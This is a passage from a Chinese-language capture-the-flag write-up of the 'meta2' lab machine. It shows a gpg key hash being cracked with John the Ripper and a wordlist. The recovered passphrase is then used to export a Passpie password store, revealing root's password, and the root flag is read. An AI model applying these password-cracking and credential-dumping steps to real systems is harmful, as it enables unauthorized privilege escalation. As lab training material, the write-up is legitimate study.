V9YCGwwACgkQOHd1w1dF0gOm5gD9GUQfB+Jx/Fb7TARELr4XFObYZq7mq/NUEC+P
o3KGdNgA/04lhPjdN3wrzjU3qmrLfo6KI+w2uXLaw+bIT1XZurDN
=7Uo6
转换后的结果:
Passpie:$gpg$*17*54*3072*e975911867862609115f302a3d0196aec0c2ebf79a84c0303056df921c965e589f82d7dd71099ed9749408d5ad17a4421006d89b49c0*3*254*2*7*16*21d36a3443b38bad35df0f0e2c77f6b9*65011712*907cb55ccb37aaad:::Passpie (Auto-generated by Passpie) <passpie@local>::keys
破解密钥#
└─# john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
blink182 (Passpie)
1g 0:00:00:09 DONE (2022-12-14 22:26) 0.1001g/s 16.41p/s 16.41c/s 16.41C/s blink182
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
获得 passpie 配置文件#
导出 passpie 配置文件
使用 blink182 密码导出配置文件
jnelson@meta2:~$ passpie export pass1
Passphrase:
jnelson@meta2:~$ ls
pass pass1 user.txt
jnelson@meta2:~$ cat pass1
credentials:
- comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
fullname: jnelson@ssh
login: jnelson
modified: 2022-06-26 08:58:15.514422
name: ssh
password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0
获得了 ROOT 的密码。
直接 su root 到 root
jnelson@meta2:~$ su root
Password:
root@meta2:/home/jnelson# ls
pass1 user.txt
root@meta2:/home/jnelson# cd /root
root@meta2:~# ls
restore root.txt
root@meta2:~# cat root.txt
7e5eb72298943b8c6ef74de65241f10f
root@meta2:~#
最后一个标志,7e5eb72298943b8c6ef74de65241f10f。